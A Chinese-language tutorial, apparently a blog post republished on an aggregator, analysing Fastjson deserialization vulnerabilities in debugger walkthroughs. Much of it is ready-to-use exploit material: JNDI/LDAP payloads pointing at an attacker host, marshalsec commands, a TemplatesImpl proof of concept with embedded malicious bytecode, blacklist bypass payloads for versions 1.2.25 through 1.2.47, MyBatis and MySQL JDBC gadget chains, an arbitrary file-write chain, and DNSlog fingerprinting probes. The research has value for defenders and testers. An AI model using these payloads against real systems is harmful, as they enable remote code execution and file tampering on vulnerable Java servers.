0x00:Fastjson簡介
Fastjson 是阿里巴巴開源的一個 Java 的 JSON 解析庫。它提供了快速、高效、簡潔的 JSON 解析功能。Fastjson 不僅支持常見的 JSON 數(shù)據(jù)類型(如字符串、數(shù)字、布爾值、數(shù)組、對象等),還支持 Java 原生數(shù)據(jù)類型(如整型、浮點(diǎn)型、數(shù)組、集合等)與 JSON 之間的互相轉(zhuǎn)換。Fastjson 支持通過注解和 API 自定義 JSON 序列化和反序列化的過程,以滿足不同的需求??偟膩碚f,F(xiàn)astjson 是一個高效、易用、功能豐富的 JSON 解析庫,是處理 JSON 數(shù)據(jù)的首選工具。
0x001:產(chǎn)生反序列化漏洞的原因
Fastjson 反序列化漏洞產(chǎn)生的原因通常是由于 Fastjson 庫在反序列化 JSON 數(shù)據(jù)時存在安全漏洞。這些漏洞可以被攻擊者利用來執(zhí)行任意代碼、訪問系統(tǒng)文件、讀取敏感數(shù)據(jù)等危險操作。
具體來說,F(xiàn)astjson 反序列化漏洞的產(chǎn)生原因包括:
1、反序列化時不對用戶輸入的 JSON 數(shù)據(jù)進(jìn)行足夠的安全檢查,從而導(dǎo)致攻擊者可以在反序列化的過程中注入惡意數(shù)據(jù)。
2、Fastjson 庫支持反序列化非 Java 原生類型的對象,如果不對這些對象進(jìn)行足夠的安全限制,攻擊者就可以通過構(gòu)造惡意 JSON 數(shù)據(jù)來執(zhí)行任意代碼。
3、Fastjson 庫在反序列化 JSON 數(shù)據(jù)時存在多處安全漏洞,例如針對關(guān)鍵字的黑名單檢查不嚴(yán)格,對類型的限制不嚴(yán)格等。
4、Fastjson 庫沒有對類加載器進(jìn)行足夠的限制,從而導(dǎo)致攻擊者可以利用類加載器加載惡意類,并在反序列化 JSON 數(shù)據(jù)時執(zhí)行任意代碼。
簡單的來說:
Fastjson提供了autotype功能,允許用戶在反序列化數(shù)據(jù)中通過“@type”指定反序列化的類型,F(xiàn)astjson自定義的反序列化機(jī)制會調(diào)用指定類中的setter方法及部分getter方法,當(dāng)組件開啟了autotype功能并且反序列化不可信數(shù)據(jù)時,攻擊者可以構(gòu)造數(shù)據(jù),使目標(biāo)應(yīng)用的代碼執(zhí)行流程進(jìn)入特定類的特定setter或者getter方法中,若指定類的指定方法中有g(shù)adget,則會造成一些嚴(yán)重的安全問題。
0x003實驗環(huán)境搭建
創(chuàng)建一個MVN項目,并在pom.xml中添加含有漏洞版本的Fastjson(本次實驗的版本是1.2.24)
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
修改JDK版本為8u161 < jdk < 8u191(本次實驗使用的是8U162)

創(chuàng)建一個pojo類
package flynAAAA;
public class Student {
private String name;
private int age;
private String hobby;
public Student() {
}
public Student(String name, int age, String hobby) {
this.name = name;
this.age = age;
this.hobby = hobby;
}
public String getName() {
System.out.println("調(diào)用了getName");
return name;
}
public void setName(String name) {
System.out.println("調(diào)用了setName");
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getHobby() {
return hobby;
}
public void setHobby(String hobby) {
this.hobby = hobby;
}
@Override
public String toString() {
return "user{" +
"name='" + name + '\'' +
", age=" + age +
", hobby='" + hobby + '\'' +
'}';
}
}
創(chuàng)建一個測試類
package flynAAAA;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Unser {
public static void main(String[] args) {
Student user = new Student("FlynAAAA",18,"Play");
String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);//把user對象轉(zhuǎn)換成帶@type的json字符串
System.out.println(s2);
System.out.println("----------------------------------");
Object parse1 = JSON.parseObject(s2);
System.out.println(parse1);//把json字符串轉(zhuǎn)換成對象
System.out.println(parse1.getClass().getName());
}
}
運(yùn)行結(jié)果:

從結(jié)果可以看出
轉(zhuǎn)換成的json字符串帶@type,他的值為flynAAAA.Student,也就是說指定反序列化的類型為flynAAAA.Student
在使用parseObject將S2利用反序列化轉(zhuǎn)換成對象的時候調(diào)用了Name的seter和geter方法。
0x004 調(diào)試反序列化過程:
接下來對反序列化流程進(jìn)行分析:

緊接著將json字符串轉(zhuǎn)換成parse對象,接下來進(jìn)入parse對象中

再次對parse進(jìn)行跟進(jìn)。

進(jìn)入parse中,這里回創(chuàng)建一個默認(rèn)的parser對象“DefaultJSONParser”,繼續(xù)跟進(jìn)DefaultJSONParser。作用是對對輸入的數(shù)據(jù)進(jìn)行封裝。

在DefaultJSONParser中會對輸入的json字符串進(jìn)行判斷如果開頭是“{”給一個token值為12,如果是“[”給值14。最終token的值為12.

緊接著返回parse類中,之后執(zhí)行DefaultJSONParser類中的parse方法。繼續(xù)進(jìn)行跟進(jìn)。

在DefaultJSONParser類中的,先將上一步DefaultJSONParser封裝的結(jié)果賦值給lexer。

parse方法中會對前面的token值進(jìn)行判斷,不同token會進(jìn)行不同的操作。Token值為12,首先創(chuàng)建了一個JSONObject對象,該對象是一個map類型的。之后在執(zhí)行DefaultJSONParser類中的parseObject方法。

跟進(jìn)DefaultJSONParser類中的parseObject方法,在該方法中會對當(dāng)前對象的token值進(jìn)行判斷。之后根據(jù)轉(zhuǎn)換的方式(轉(zhuǎn)換方式可以這樣理解:@type是自動轉(zhuǎn)換)進(jìn)行判斷,根據(jù)轉(zhuǎn)換方式得到需要反序列化類的名字(lexer.scanSymbol的作用就是得到需要反序列化類的名字,@type:flynAAAA.Student),之后使用TypeUtils.loadClass進(jìn)行加載。

跟進(jìn)TypeUtils.loadClass,需要反序列化類名別傳入classname和classload被傳入,此時classload為null。之后會在mappings進(jìn)行查找flynAAAA.Student對應(yīng)的值。

mappings的作用相當(dāng)于緩存表里面存放著一些內(nèi)置的類,由于mappings中沒有flynAAAA.Student對應(yīng)的值,所以當(dāng)前clazz的值為空。

之后對clazz的值進(jìn)行判斷。

由于clazz的值為null,之后為clazz創(chuàng)建一個classload并放入mapping中。

之后返回到DefaultJSONParse#中的parseObiect中進(jìn)行反序列化。跟進(jìn)getDeserializer()

在getDeserializer(),首先在緩存里面進(jìn)行查詢。然后在進(jìn)行g(shù)etDeserializer,追進(jìn)getDeserializer。

追進(jìn)getDeserializer,也同樣是在緩存里面進(jìn)行檢查,如果沒有,會對反序列化的方式進(jìn)行判斷,不過之前會對有一個進(jìn)行黑名單(denylist)判斷。

Denylist的內(nèi)容:

之后會以JavaBean的反序列化,在 createJavaBeanDeserializer使用JavaBean的反序列化。build方法通過反射加載clazz中的所有方法 位置com.alibaba.fastjson.util.JavaBeanInfo

之后在build方法中查找get、set


小結(jié):
經(jīng)過上面的調(diào)試,了解到fastjson將json字符串轉(zhuǎn)換成對象時為什么調(diào)用Seter、get。以及反序列的流程,接下來分析gadget鏈子。
0x005:利用鏈分析
適用范圍:Fastjson 1.2.22-1.2.24
JdbcRowSetImpl利用鏈
漏洞原理:
@type指向com.sun.rowset.JdbcRowSetImpl類,dataSourceName值為RMI服務(wù)中心綁定的Exploit服務(wù),autoCommit有且必須為true或false等布爾值類型
環(huán)境部署:
Fastjson版本:1.2.24
惡意rmi/ladp服務(wù)端:marshalsec-0.0.3-SNAPSHOT-all.jar
ldap:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.40.128:9988/#Evil" 8088
rmi:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.40.128:9988/#Evil" 8088

服務(wù)端惡意類:
import java.io.IOException;
public class Evil {
// 靜態(tài)代碼塊, 當(dāng)類被加載時調(diào)用
public Evil() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
在服務(wù)端惡意代碼的當(dāng)前目錄下開啟http服務(wù):
python -m http.server 9988

創(chuàng)建一個mvn項目,并且創(chuàng)建一個demo
package flynAAAA;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class jndi {
public static void main (String[] args) {
String exp="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.40.128:8088/#Evil\",\"autoCommit\":true}";
JSON.parseObject(exp);
}
}
結(jié)果:

JdbcRowSetImpl利用鏈分析
經(jīng)過上面的反序列話調(diào)試的部分一直往下走,到setDataSourceName:4298, JdbcRowSetImpl (com.sun.rowset)

直到setDataSourceName,dataSource的值為服務(wù)器上的惡意ldap地址

這個時候調(diào)用棧為:
setDataSourceName:4309, JdbcRowSetImpl (com.sun.rowset)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:10, jndi (flynAAAA)
直到JdbcRowSetImpl#setAutoCommit函數(shù),設(shè)置autoCommit值,調(diào)用了connect()方法。跟進(jìn)connect()方法。

在connect(),方法中this.con的值為空,緊接著判斷DataSourceName(),上面已經(jīng)知道DataSourceName值為ldap://192.168.40.128:8088/#Evil(可控),所以造成jndi漏洞。

Fastjson將對象轉(zhuǎn)為Json通過toJSONString()方法,而將Json轉(zhuǎn)換為對象有三個方法,這三個方法轉(zhuǎn)換的時候也都會調(diào)用getter、setter,但觸發(fā)條件不同:
1)parseObject(String text, Class\ clazz)
?Getter
方法名需要長于4
非靜態(tài)方法
以 get 字符串開頭,且第四個字符需要是大寫字母
方法不能有參數(shù)
返回值類型繼承自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong
getter 方法對應(yīng)的屬性只能有 getter 不能有setter方法
方法為 public 屬性
?Setter
方法名長度大于4且以set開頭
非靜態(tài)函數(shù)
返回類型為void或當(dāng)前類
參數(shù)個數(shù)為1個
方法為 public 屬性
2)parseObject(String text)
?getter
方法名長度大于4且以get開頭
非靜態(tài)函數(shù)
方法不能有參數(shù)
public 屬性
?setter
方法名長度大于4且以set開頭
非靜態(tài)函數(shù)
返回類型為void或當(dāng)前類
參數(shù)個數(shù)為1個
3)parse (String text)
?getter
方法名需要長于4
非靜態(tài)方法
以 get 字符串開頭,且第四個字符需要是大寫字母
方法不能有參數(shù)
返回值類型繼承自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong
getter 方法對應(yīng)的屬性只能有 getter 不能有setter方法
方法為 public 屬性
?setter
方法名長度大于4且以set開頭
非靜態(tài)函數(shù)
返回類型為void或當(dāng)前類
參數(shù)個數(shù)為1個
public 屬性
Templateslmpl利用鏈分析
漏洞原理:Fastjson通過bytecodes字段傳入惡意類,調(diào)用outputProperties屬性的getter方法時,實例化傳入的惡意類,調(diào)用其構(gòu)造方法,造成任意命令執(zhí)行。
優(yōu)點(diǎn):不出網(wǎng)
前提:在使用parse反序列話的時候第二個參數(shù)需要設(shè)置“Feature.SupportNonPublicField”所以有很大的限制。
環(huán)境搭建
先生成POC,代碼如下:
package flynAAAA;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.tomcat.util.codec.binary.Base64;
public class TEMPOC {
public static class test{
}
public static void main(String[] args) throws Exception {
// 實例化 ClassPool 用于修改class文件
ClassPool pool = ClassPool.getDefault();
// 獲取test.class
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// 新建一個static代碼塊,內(nèi)容為java.lang.Runtime.getRuntime().exec("calc.exe");
cc.makeClassInitializer().insertBefore(cmd);
// 設(shè)置類名。
String randomClassName = "FlynAAAAA"+System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
// 將生成的class文件保存當(dāng)當(dāng)前項目目錄下
cc.writeFile("./");
try {
byte[] evilCode= cc.toBytecode();
String evilCode_base64 = new String(Base64.encodeBase64(evilCode));
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
// 輸出構(gòu)造好的POC
System.out.println(text1);
} catch (Exception e) {
e.printStackTrace();
}
}
}
運(yùn)行結(jié)果如下:

創(chuàng)建測試類:
package flynAAAA;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class jndi {
public static void main (String[] args) {
String exp="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAWTGZseW5BQUFBL1RFTVBPQyR0ZXN0OwEAClNvdXJjZUZpbGUBAAtURU1QT0MuamF2YQwABAAFBwATAQAUZmx5bkFBQUEvVEVNUE9DJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAPZmx5bkFBQUEvVEVNUE9DAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAIY2FsYy5leGUIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFEVyaXRrZW4zOTM5NzQwNjExMzAwAQAWTEVyaXRrZW4zOTM5NzQwNjExMzAwOwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACMKACQADwAhAAIAJAAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAlsQAAAAIABwAAAAYAAQAAAA0ACAAAAAwAAQAAAAUACQAiAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ==\"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}";
JSON.parseObject(exp, Feature.SupportNonPublicField);
}
}
運(yùn)行結(jié)果:

Templateslmpl鏈調(diào)試
前置:
ClassLoader 處理字節(jié)碼的流程為 loadClass -> findClass -> defineClass
loadClass: 從已加載的類緩存、父加載器等位置尋找類(這里實際上是雙親委派機(jī)制),在前面沒有找到的情況下,執(zhí)行 findClass
findClass: 根據(jù)基礎(chǔ)URL指定的方式來加載類的字節(jié)碼
defineClass:處理前面?zhèn)魅氲淖止?jié)碼,將其處理成真正的Java類
而Classloader#defineClass是protected方法,所以不可以直接調(diào)用,寫一個簡單的demo:
package flynAAAA;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Method;
public class Demo
{
// 定義test類用做惡意類
public static class test{}
public static void main(String[] args) throws Exception
{
// 反射拿 defineClass() 方法
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].class, int.class, int.class);
// 暴力訪問
defineClass.setAccessible(true);
// 實例化 ClassPool 用于修改class文件
ClassPool pool = ClassPool.getDefault();
// 獲取test.class
CtClass cc = pool.get(Demo.test.class.getName());
// 定義惡意靜態(tài)方法
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// 新建一個static代碼塊,內(nèi)容為java.lang.Runtime.getRuntime().exec("calc.exe");
cc.makeClassInitializer().insertBefore(cmd);
// 設(shè)置類名。
String randomClassName = "FlynAAAA"+System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
// 將生成的class文件保存當(dāng)當(dāng)前項目目錄下
cc.writeFile("./");
// 獲取惡意類的字節(jié)碼
byte[] evilCode = cc.toBytecode();
System.out.println(evilCode);
// 加載惡意類的字節(jié)碼
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),null, evilCode, 0, evilCode.length);
hello.newInstance();
}
}
結(jié)果:

這里必須要newInstance(),否則即使是定義的static靜態(tài)代碼塊也不會被加載,這就意味著想要利用defineClass去加載惡意字節(jié)碼執(zhí)行命令,就必須要有方法能夠調(diào)用惡意類的構(gòu)造方法(真正加載惡意類)
回到正題:
TemplatesImpl重寫了defineClass(),并且這里沒有顯式地聲明其定義域。Java中默認(rèn)情況下,如果一個方法沒有顯式聲明作用域,其作用域為default。所以也就是說這里defineClass由其父類的protected類型變成了一個default類型的方法,可以被類外部調(diào)用。

由于fastjson使用JSON.parseObject方法反序列化會調(diào)用get 和set方法.在TemplatesImpl中屬性的get和set方法中g(shù)etOutputProperties方法重寫了newTransformer方法

繼續(xù)跟進(jìn) newTransformer,發(fā)現(xiàn)在newTransformer里面使用了getTransletInstance(),

跟進(jìn)getTransletInstance()需要_name!=null,_class == null

由于TemplatesImpl對defineclass進(jìn)行了重寫 對_bytecodes中的惡意代碼進(jìn)行加載,導(dǎo)致執(zhí)行惡意代碼.

Poc:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAWTGZseW5BQUFBL1RFTVBPQyR0ZXN0OwEAClNvdXJjZUZpbGUBAAtURU1QT0MuamF2YQwABAAFBwATAQAUZmx5bkFBQUEvVEVNUE9DJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAPZmx5bkFBQUEvVEVNUE9DAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAIY2FsYy5leGUIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAF0ZseW5BQUFBQTE4ODY1MDE3NDAyNzAwAQAZTEZseW5BQUFBQTE4ODY1MDE3NDAyNzAwOwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACMKACQADwAhAAIAJAAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAlsQAAAAIABwAAAAYAAQAAAA0ACAAAAAwAAQAAAAUACQAiAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ=="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
0x006 高版本繞過方式:
1.2.25~1.2.41
1.2.25開始fastjson默認(rèn)關(guān)閉了反序列化的類,如果需要反序列化類,需要開啟AutoType,開啟后對反序列化的類進(jìn)行黑名單檢測。下面是開啟AutoType后的對白名單進(jìn)行繞過。
環(huán)境搭建:
Fastjsong版本:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
開始先對在com.alibaba.fastjson.parser中加載黑名單:

之后在TypeUtils加載之前,進(jìn)行checkAutoType檢查:

跟進(jìn)checkAutoType,之后進(jìn)行黑名單匹配:

之后使用TypeUtils.classload進(jìn)行加載該類

繼續(xù)跟進(jìn),如果傳入的類以“L”開頭,以“;”結(jié)尾,那么便會掐頭去尾,保留中間部分

結(jié)果將@type的值改成“Lcom.sun.rowset.JdbcRowSetImpl”,就能進(jìn)行繞過。

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.40.128:8088/#Evil", "autoCommit":1}
1.2.25~1.2.42
fastjson版本:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.42</version>
</dependency>
在1.2.42,官方將黑名單類做hash混淆處理:

在checkAutoType方法中先對typeName進(jìn)行長度判斷大于3切小于128

與黑名單中的hash進(jìn)行拼配后,為了修復(fù)上個版本的“L ;”繞過,在進(jìn)入loadclass之前就進(jìn)行“掐頭去尾”,處理。

不難看出在loadclass方法里進(jìn)行了“掐頭去尾”處理,但這個loadclass方法是回調(diào)函數(shù)。

進(jìn)行了三次“掐頭去尾”后處理結(jié)果。

直到結(jié)果:

結(jié)果:

poc:
{"@type":"LLLcom.sun.rowset.JdbcRowSetImpl;;;","dataSourceName":"ldap://192.168.40.128:8088/#Evil", "autoCommit":1}
1.2.25~1.2.43
Fastjson版本:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.43</version>
</dependency>
經(jīng)過上面的研究,可以想到這次修復(fù)肯定修復(fù)了LL開頭,但是使用[又可以進(jìn)行繞過。

Poc:
String exp="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://192.168.40.128:8088/Evil\", \"autoCommit\":true}]}";
//這里又一個fastjson第一個{是可以不用閉合,也就是說最后可以少一個}。理解不了沒關(guān)系,這個POC是完整的閉合。
1.2.25~1.2.45
基于Mybatis的利用鏈
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory,這條鏈子同樣影響1.2.45,但Mybatis的版本必須小于3.5.6
Mybatis版本:
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.5</version>
</dependency>
Fastjson版本:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.43</version>
</dependency>
Demo:
package flynAAAA;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
import java.util.Properties;
public class client2 {
public static void main(String[] args) throws Exception {
JndiDataSourceFactory jndiDataSourceFactory = new JndiDataSourceFactory();
Properties datasource = new Properties();
datasource.setProperty("data_source", "ldap://192.168.40.128:8088/Evil");
jndiDataSourceFactory.setProperties(datasource);
}
}
如果properties中存在data_source鍵,則將對應(yīng)值帶如lookup(),造成JNDI注入:


最終POC:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://192.168.40.128:8088/#Evil"}

<=1.2.47
這次這個版本(借助淺藍(lán)大佬的文章進(jìn)行學(xué)習(xí))可以在不需要開啟autoTypeSupport的觸發(fā)漏洞:
Fastjson版本:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
在checkAutoType中,在開啟autoTypeSupport的情況下,代碼會走到Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null來進(jìn)行判斷拋出異常,如果不符合的話會繼續(xù)往下走從Mapping和deserializers緩存中尋找類,如果存在則返回clazz.這次使用的是java.lang.Class剛好可以繞過黑名單檢測。通過deserializers.findClass找到該類。

而在ParserConfig類初始化時會執(zhí)行initDeserializers方法,會向deserializers中添加許多的類,類似一種緩存,其中會添加這么一個類this.deserializers.put(Class.class, MiscCodec.instance);接下來直接進(jìn)入MiscCode.java中的deseriale方法,lexer.token() == JSONToken.LITERAL_STRING為false走到else,緊接著進(jìn)入parser.paser中,objVal的值為com.sun.rowset.JdbcRowSetImpl。

之后對objval的值進(jìn)行判斷,objVal賦值給strVal

隨后進(jìn)入TypeUtils.loadClass中,

跟進(jìn)TypeUtils.loadClass,首先在mappings里面查找com.sun.rowset.JdbcRowSetImpl沒有找到,之后創(chuàng)建一個為此創(chuàng)建了一個classload并加入緩存中。

當(dāng)程序第二次加載checkAutoType()時,惡意類已經(jīng)存在于mapping緩存中,所以成功取值clazz,直經(jīng)過判斷后接返回

非常巧妙地繞過了AutoType與黑名單機(jī)制,觸發(fā)RCE,1.2.47的精髓就在于,通過java.lang.class觸發(fā)緩存機(jī)制,利用loadClass()的遞歸解析將JdbcRowSetImpl添加到緩存,從而繞過了checkAutoType()與黑名單。
<=1.2.68
總結(jié)到這里真的麻了?。。。。。ǚ治鲞^程就先省略,有機(jī)會再補(bǔ)充)
升級后的checkAutoType()驗證的流程圖
Fastsjon版本:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.68</version>
</dependency>
MySQL版本
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.11</version>
</dependency>
這里Mysql的RCE利用的是JDBC的反序列化鏈,原理就是通過JDBC連接MySQL服務(wù)端時,會執(zhí)行SQL查詢,其中查詢的結(jié)果集會在客戶端調(diào)用ObjectInputStream.readObject()進(jìn)行反序列化操作,如果我們能夠控制結(jié)果以及連接地址,就會觸發(fā)RCE。
需要用到fakemysql下載連接:
https://github.com/fnmsd/MySQL_Fake_Server/
下載完成之后解壓將yso放到當(dāng)前目錄:

之后開啟server:

Demo:
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3306,
"info": {
"user": "yso_CommonsCollections5_calc",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}
結(jié)果:

還有師傅挖掘到了基于commons-io 2.0~2.6 的任意文件寫入鏈,
POC:文章來源:http://www.zghlxwxcb.cn/news/detail-757591.html
package flynAAAA;
import com.alibaba.fastjson.JSON;
import java.util.Random;
public class client6
{
private static final Random RAND = new Random();
public static void main(String[] args) {
String aaa_8192 = "FlynAAAAA"+"\n"+getRandomString(81920);
String write_name = "E://2.txt";
String payload_commons_io_filewrite_0_6 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"encoding\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}}";
System.out.println(payload_commons_io_filewrite_0_6);
JSON.parse(payload_commons_io_filewrite_0_6);
}
public static String getRandomString(int numChars) {
int chars = RAND.nextInt(numChars);
while (chars == 0)
chars = RAND.nextInt(numChars);
StringBuffer sb = new StringBuffer();
for (int i = 0; i < chars; i++) {
int index = 97 + RAND.nextInt(26);
char c = (char) index;
sb.append(c);
}
return sb.toString();
}
}
結(jié)果:文章來源地址http://www.zghlxwxcb.cn/news/detail-757591.html

0x007 指紋識別:
{"@type":"java.net.InetAddress","val":"dnslog"}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:0
{"ss":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}}""},}
[{"a":"a\x]
{"@type":"java.lang.AutoCloseable" //版本檢測

到了這里,關(guān)于fastjson反序列化漏洞學(xué)習(xí)(一)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!